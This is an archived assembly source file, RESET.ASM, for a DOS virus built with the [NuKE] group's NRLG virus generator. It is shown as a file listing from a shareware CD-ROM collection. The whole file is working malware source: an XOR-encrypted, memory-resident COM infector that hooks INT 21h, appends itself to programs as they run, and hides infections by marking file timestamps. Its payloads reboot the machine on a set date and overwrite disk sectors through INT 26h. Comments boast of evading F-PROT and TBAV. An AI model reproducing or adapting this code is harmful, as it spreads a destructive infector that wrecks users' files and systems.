home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / NRLGUPD5.ZIP / RESET.ZIP / RESET.ASM next >
Encoding:
Assembly Source File  |  1996-08-14  |  19.7 KB  |  417 lines

  1. ;┌────────────────────────────────────────────────────────┐
  2. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  3. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  4. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  5. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  6. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  7. ;└────────────────────────────────────────────────────────┘
  8.  
  9. .286
  10. code    segment
  11. assume cs:code,ds:code
  12. org  100h
  13.  
  14. start:  CALL NEXT 
  15.  
  16. NEXT:  
  17.        mov di,sp             ;take the stack pointer location 
  18.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  19.        sub bp,offset next    ;subtract the large code off this code 
  20.                              ;
  21. ;*******************************************************************
  22. ;                      #1 DECRYPT ROUTINE                               
  23. ;*******************************************************************
  24.  
  25. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  26. je crypt2                    ;yes! not decrypt              
  27. ;----------------------------------------------------------                                          
  28. mov cx,offset fin            ;cx = large of virus               
  29. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  30. mov dx,1                     ;dx = value for decrypt          
  31. ;----------------------------------------------------------                                                   
  32. deci:                        ;deci = fuck label!                                    
  33. ;----------------------------------------------------------
  34.  
  35.  inc di
  36. inc di
  37. ;----------------------------------------------------------                                                
  38. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  39. mov ah,4ch
  40. int 21h
  41. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  42. ;-----------------------------------------------------------                               
  43. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  44. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  45. ;----------------------------------------------------------                                   
  46. loop deci                    ;repeat please!               
  47.                              ;           
  48. ;*****************************************************************
  49. ;                   #2 DECRYPT ROUTINE                                                    
  50. ;*****************************************************************
  51.                               ;    
  52. crypt:                        ;fuck label!                  
  53.                               ;                
  54. mov cx,offset fin             ;cx = large of virus                 
  55. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  56. ;---------------------------------------------------------------                                              
  57. deci2:                        ;              
  58. xor byte ptr cs:[di],1        ;decrytion rutine          
  59. inc di                        ;very simple...            
  60. loop deci2                    ;           
  61. ;---------------------------------------------------------------
  62. crypt2:                       ;fuck label!          
  63.                               ;                  
  64. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  65. INT 21H                       ;for chek "I'm is residet?"   
  66. CMP Bh,0CAH                   ;is equal to CACA?
  67. JE PUM2                       ;yes! jump to runnig program
  68. call action
  69. ;*****************************************************************
  70. ; NRLG FUNCTIONS  (SELECTABLE)
  71. ;*****************************************************************
  72.  
  73.  call TRASH_RN
  74. ;****************************************************************
  75. ;               PROCESS TO REMAIN RESIDENT                                                                  
  76. ;****************************************************************   
  77.  
  78. mov   ax,3521h                  
  79. int   21h                        ;store the int 21 vectors 
  80. mov   word ptr [bp+int21],bx     ;in cs:int21
  81. mov   word ptr [bp+int21+2],es   ;
  82. ;---------------------------------------------------------------
  83. push cs                          ; 
  84. pop ax                           ;ax = my actual segment                             
  85. dec ax                           ;dec my segment for look my MCB
  86. mov es,ax                        ;
  87. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  88. ;---------------------------------------------------------------
  89. push cs                          ;   
  90. pop es                           ;   
  91. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  92. sub bx,17 + offset fin           ;and 100H for the PSP total
  93. mov ah,4ah                       ;used memory
  94. int 21h                          ;put the new value to MCB
  95. ;---------------------------------------------------------------
  96. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  97. mov ah,48h                      ;                              
  98. int 21h                         ;request the memory to fuck DOS!                                                 
  99. ;---------------------------------------------------------------
  100. dec ax                          ;ax=new segment 
  101. mov es,ax                       ;ax-1= new segment MCB 
  102. mov byte ptr es:[1],8           ;put '8' in the segment
  103. ;--------------------------------------------------------------                                
  104. inc ax                          ; 
  105. mov es,ax                       ;es = new segment
  106. lea si,[bp + offset start]      ;si = start of virus 
  107. mov di,100h                     ;di = 100H (psp position) 
  108. mov cx,offset fin - start       ;cx = lag of virus
  109. push cs                         ;
  110. pop ds                          ;ds = cs
  111. cld                             ;mov the code
  112. rep movsb                       ;ds:si >> es:di
  113. ;--------------------------------------------------------------
  114. mov dx,offset virus             ;dx = new int21 handler
  115. mov ax,2521h                    ;
  116. push es                         ; 
  117. pop ds                          ; 
  118. int 21h                         ;set the vectors 
  119. ;-------------------------------------------------------------
  120. pum2:                               ;  
  121.                                     ; 
  122. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  123. mov byte ptr cs:[100h],ah           ;first bytes  
  124. mov ax,word ptr [cs:bp + real + 1]  ;
  125. mov word ptr cs:[101h],ax           ;
  126. ;-------------------------------------------------------------
  127. mov ax,100h                         ;
  128. jmp ax                              ;jmp to execute
  129.                                     ;
  130. ;*****************************************************************
  131. ;*             HANDLER FOR THE INT 21H                                       
  132. ;*****************************************************************
  133.                           ;          
  134. VIRUS:                    ;  
  135.                           ;     
  136. cmp ah,4bh                ;is a 4b function? 
  137. je REPRODUCCION           ;yes! jump to reproduce !
  138. cmp ah,11h
  139. je dir
  140. cmp ah,12h
  141. je dir
  142. dirsal:
  143. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  144. jne a3                    ;no! jump to a3
  145. mov bh,0cah               ;yes! put ca in bh
  146. a3:                       ;
  147. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  148. ret                       ;    
  149. make db '[NuKE] N.R.L.G. AZRAEL'
  150. dir:
  151. jmp dir_s
  152. ;-------------------------------------------------------------
  153. REPRODUCCION:              ;       
  154.                            ;
  155. pushf                      ;put the register
  156. pusha                      ;in the stack
  157. push si                    ;
  158. push di                    ;
  159. push bp                    ;
  160. push es                    ;
  161. push ds                    ;
  162. ;-------------------------------------------------------------
  163. push cs                    ;  
  164. pop ds                     ;  
  165. mov ax,3524H               ;get the dos error control                      
  166. int 21h                    ;interupt                        
  167. mov word ptr error,es      ;and put in cs:error                      
  168. mov word ptr error+2,bx    ;            
  169. mov ax,2524H               ;change the dos error control                    
  170. mov dx,offset all          ;for my "trap mask"                      
  171. int 21h                    ;         
  172. ;-------------------------------------------------------------
  173. pop ds                     ;
  174. pop es                     ;restore the registers
  175. pop bp                     ;
  176. pop di                     ;
  177. pop si                     ;
  178. popa                       ;
  179. popf                       ;
  180. ;-------------------------------------------------------------
  181. pushf                      ;put the registers
  182. pusha                      ;     
  183. push si                    ;HEY! AZRAEL IS CRAZY?
  184. push di                    ;PUSH, POP, PUSH, POP
  185. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  186. push es                    ;PURIFY THIS SHIT!
  187. push ds                    ;
  188. ;-------------------------------------------------------------
  189. mov ax,4300h                 ;       
  190. int 21h                      ;get the file     
  191. mov word ptr cs:[attrib],cx  ;atributes   
  192. ;-------------------------------------------------------------
  193. mov ax,4301h                 ;le saco los atributos al        
  194. xor cx,cx                    ;file 
  195. int 21h                      ;
  196. ;-------------------------------------------------------------  
  197. mov ax,3d02h                 ;open the file 
  198. int 21h                      ;for read/write
  199. mov bx,ax                    ;bx=handle
  200. ;-------------------------------------------------------------
  201. mov ax,5700h                ;     
  202. int 21h                     ;get the file date  
  203. mov word ptr cs:[hora],cx   ;put the hour    
  204. mov word ptr cs:[dia],dx    ;put the day    
  205. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  206. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  207. jne seguir                  ;yes! the file is infected!     
  208. jmp cerrar                  ;
  209. ;------------------------------------------------------------
  210. seguir:                     ;     
  211. mov ax,4202h                ;move the pointer to end
  212. call movedor                ;of the file
  213. ;------------------------------------------------------------
  214. push cs                     ;   
  215. pop ds                      ; 
  216. sub ax,3                    ;calculate the 
  217. mov word ptr [cs:largo],ax  ;jmp long
  218. ;-------------------------------------------------------------
  219. mov ax,04200h               ;move the pointer to  
  220. call movedor                ;start of file
  221. ;----------------------------------------------------------                                          
  222. push cs                     ;   
  223. pop ds                      ;read the 3 first bytes  
  224. mov ah,3fh                  ;                           
  225. mov cx,3                    ;
  226. lea dx,[cs:real]            ;put the bytes in cs:[real]
  227. int 21h                     ;
  228. ;----------------------------------------------------------                                          
  229. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  230. jne er1                         ;yes! is a EXE... fuckkk!
  231. ;----------------------------------------------------------
  232. jmp cerrar
  233. er1:
  234. ;----------------------------------------------------------                                          
  235. mov ax,4200h      ;move the pointer                               
  236. call movedor      ;to start fo file
  237. ;----------------------------------------------------------                                          
  238. push cs           ;       
  239. pop ds            ; 
  240. mov ah,40h        ;  
  241. mov cx,1          ;write the JMP
  242. lea dx,[cs:jump]  ;instruccion in the
  243. int 21h           ;fist byte of the file
  244. ;----------------------------------------------------------                                          
  245. mov ah,40h         ;write the value of jmp
  246. mov cx,2           ;in the file 
  247. lea dx,[cs:largo]  ; 
  248. int 21h            ;
  249. ;----------------------------------------------------------                                          
  250. mov ax,04202h      ;move the pointer to 
  251. call movedor       ;end of file
  252. ;----------------------------------------------------------                                          
  253. push cs                     ;        
  254. pop ds                      ;move the code  
  255. push cs                     ;of my virus      
  256. pop es                      ;to cs:end+50     
  257. cld                         ;for encrypt          
  258. mov si,100h                 ;    
  259. mov di,offset fin + 50      ;      
  260. mov cx,offset fin - 100h    ;        
  261. rep movsb                   ;      
  262. ;----------------------------------------------------------                                          
  263. mov cx,offset fin           
  264. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  265. enc:                              ;           
  266. xor byte ptr cs:[di],1            ;encrypt the virus              
  267. inc di                            ;code                   
  268. loop enc                          ;              
  269. ;---------------------------------------------------------
  270. mov cx,offset fin           
  271. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  272. mov dx,1
  273. enc2:                              ;           
  274.  
  275.  inc di
  276. inc di                             ;the virus code                  
  277. loop enc2                          ;              
  278. ;--------------------------------------------
  279. mov ah,40h                       ;  
  280. mov cx,offset fin - offset start ;copy the virus              
  281. mov dx,offset fin + 50           ;to end of file
  282. int 21h                          ;
  283. ;----------------------------------------------------------                                          
  284. cerrar:                          ;
  285.                                  ;restore the       
  286. mov ax,5701h                     ;date and time    
  287. mov cx,word ptr cs:[hora]        ;file   
  288. mov dx,word ptr cs:[dia]         ;     
  289. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  290. int 21h                          ; 
  291. ;----------------------------------------------------------                                          
  292. mov ah,3eh                       ; 
  293. int 21h                          ;close the file
  294. ;----------------------------------------------------------                                          
  295. pop ds                           ;
  296. pop es                           ;restore the 
  297. pop bp                           ;registers
  298. pop di                           ; 
  299. pop si                           ;
  300. popa                             ;
  301. popf                             ;
  302. ;----------------------------------------------------------                                          
  303. pusha                           ;   
  304.                                 ;                                                             
  305. mov ax,4301h                    ;restores the atributes 
  306. mov cx,word ptr cs:[attrib]     ;of the file  
  307. int 21h                         ;   
  308.                                 ;
  309. popa                            ; 
  310. ;----------------------------------------------------------                                          
  311. pushf                           ;                           
  312. pusha                           ; 8-(  = f-prot                       
  313. push si                         ;                       
  314. push di                         ; 8-(  = tbav   
  315. push bp                         ;                       
  316. push es                         ; 8-)  = I'm                        
  317. push ds                         ;                              
  318. ;----------------------------------------------------------                                          
  319. mov ax,2524H                    ;                         
  320. lea bx,error                    ;restore the                         
  321. mov ds,bx                       ;errors handler      
  322. lea bx,error+2                  ;                         
  323. int 21h                         ;                       
  324. ;----------------------------------------------------------                                          
  325. pop ds                          ;
  326. pop es                          ;
  327. pop bp                          ;restore the 
  328. pop di                          ;resgisters
  329. pop si                          ;
  330. popa                            ;
  331. popf                            ;
  332. ;----------------------------------------------------------                                          
  333. JMP A3                          ;jmp to orig. INT 21
  334.                                 ;
  335. ;**********************************************************
  336. ;           SUBRUTINES AREA
  337. ;**********************************************************
  338.                                 ;
  339. movedor:                        ;   
  340.                                 ; 
  341. xor cx,cx                       ;use to move file pointer         
  342. xor dx,dx                       ;       
  343. int 21h                         ;        
  344. ret                             ;        
  345. ;----------------------------------------------------------                                          
  346. all:                            ;  
  347.                                 ; 
  348. XOR AL,AL                       ;use to set 
  349. iret                            ;error flag
  350.  
  351. ;***********************************************************
  352. ;         DATA AREA
  353. ;***********************************************************
  354. largo  dw  ?
  355. jump   db  0e9h
  356. real   db  0cdh,20h,0
  357. hora   dw  ?
  358. dia    dw  ?
  359. attrib dw  ?
  360. int21  dd  ?
  361. error  dd  ?
  362.  
  363.  ;---------------------------------
  364. action:                          ; 
  365. MOV AH,2AH                       ;        
  366. INT 21H                          ;get date           
  367. CMP Dl,byte ptr cs:[action_dia+bp]  ;is equal to my day?                 
  368. JE  cont                         ;nop! fuck ret          
  369. cmp  byte ptr cs:[action_dia+bp],32
  370. jne no_day                       ;
  371. cont:                            ; 
  372. cmp dh,byte ptr cs:[action_mes+bp]  ;is equal to my month?            
  373. je set                           ;
  374. cmp byte ptr cs:[action_mes+bp],32
  375. jne NO_DAY                       ;nop! fuck ret           
  376. set:                             ; 
  377.  
  378. int 19h                          ;rebbot the machine 
  379. NO_DAY:                          ;             
  380. ret                              ;
  381. ;---------------------------------
  382.  
  383.  ;---------------------------------
  384. TRASH_RN:                        ; 
  385. MOV AH,2DH                       ;        
  386. INT 21H                          ;get date           
  387. CMP Dl,6                         ;is =6 (RAN 0-99)                 
  388. jne NO_DAYY                      ;nop! fuck ret           
  389. mov ah,0dh                       ;     
  390. int 21h                          ;reset disk 
  391. mov al,2                         ;
  392. mov cx,0ffffh                    ;
  393. mov dx,0                         ;  
  394. int 26h                          ;fuck ffffh sector 
  395. mov ah,0dh                       ;reste disk  
  396. int 21h                          ;   
  397. mov al,2                         ;    
  398. mov cx,0ffffh                    ;    
  399. mov dx,0ffffh                    ;new fuck+ 
  400. int 26h                          ;heheheh!!! 
  401. NO_DAYY:                         ;             
  402. ret                              ;
  403. ;---------------------------------
  404.  ;-------------;
  405. Dir_S:        ;                                                      
  406. jmp dirsal    ;  
  407. no_Good:iret  ;                                                           
  408. ;-------------;
  409.  
  410.  action_dia Db 01H ;day for the action
  411. action_mes Db 01H ;month for the action
  412. FECHA DW 016H ;Secon for mark
  413. FECHAd Db 016H ;Secon for mark dir st
  414. fin:
  415. code ends
  416. end start
  417.